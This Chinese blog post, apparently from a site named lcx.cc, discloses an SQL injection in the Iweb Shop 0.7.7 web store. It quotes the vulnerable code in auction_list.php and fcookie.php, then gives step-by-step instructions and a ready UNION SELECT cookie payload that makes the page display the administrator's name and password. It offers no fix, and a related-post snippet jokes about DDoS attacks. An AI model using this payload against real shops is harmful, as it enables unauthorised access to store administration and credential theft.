【Oday】Iweb Shop 0.7.7 爆管理账号密码

  • A+
所属分类:lcx

起因是有个朋友用这个程序搭建了一个网店,叫我帮忙测试一下。

在网上找到一个已经公布的0day。但是参数是包含在单引号里,除非GPC=off。所以就自己读了一下源码。

漏洞出在根目录的“auction_list.php”,第77-86行:

/* 浏览记录 */
$getcookie = get_hisgoods_cookie();
$goodshistory = array();
if($getcookie) {
        arsort($getcookie);
        $getcookie = array_keys($getcookie);
        $gethisgoodsid = implode(",",array_slice($getcookie, 0, 4));
        $sql = "select is_set_image,goods_id,goods_name,goods_thumb,goods_price from $t_goods where goods_id in ($gethisgoodsid)";
        $goodshistory = $dbo->getRs($sql);
}

$gethisgoodsid这个参数未经过滤就带入查询。它是由$getcookie得来的,跟一下$getcookie这个变量,即get_hisgoods_cookie()函数。

“foundation/fcookie.php”中:

function get_hisgoods_cookie() {
        return get_cookie("hisgoods");
}

同样是“foundation/fcookie.php”。

function get_cookie($k) {
        global $session_prefix;
        if(isset($_COOKIE[$session_prefix.$k])) return $_COOKIE[$session_prefix.$k];
        return null;
}

原来是在COOKIE里取得变量的,至此漏洞产生。

利用方法:

    1.先随便看一个商品,然后访问“http://localhost/auction_list.php”,使用cookies浏览器的话,你会发现里面会多了个类似“iweb_hisgoods[22(这个数字是你访问过的商品ID)]=1282282762”的项目。

    2.首先在“22”后面加个单引号,使其暴错,得出数据表的前缀。然后将“22”改为“22) and 1%3D2 union select 1,admin_password,admin_name,4,5 from ishop_admin_user-- ”(ishop_是你刚才得出的前缀,“--”即注释符后一定要加个空格)。

    3.再访问“http://localhost/auction_list.php”,查看右下角最新浏览就会得出管理员的帐号和密码。

文章来源于lcx.cc:【Oday】Iweb Shop 0.7.7 爆管理账号密码

相关推荐: 讨论:如何判断域名不一样的两个网站实际上是一个网站

如何判断域名不一样的两个网站实际上是一个网站 xsser (十根阳具有长短!!) | 2014-05-18 20:16 如题 [原文地址] 各种吐槽: 1# p.z (一回头 青春都喂了狗) | 2014-05-18 20:18 笨 DDOS它啊 两个都挂了就…

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: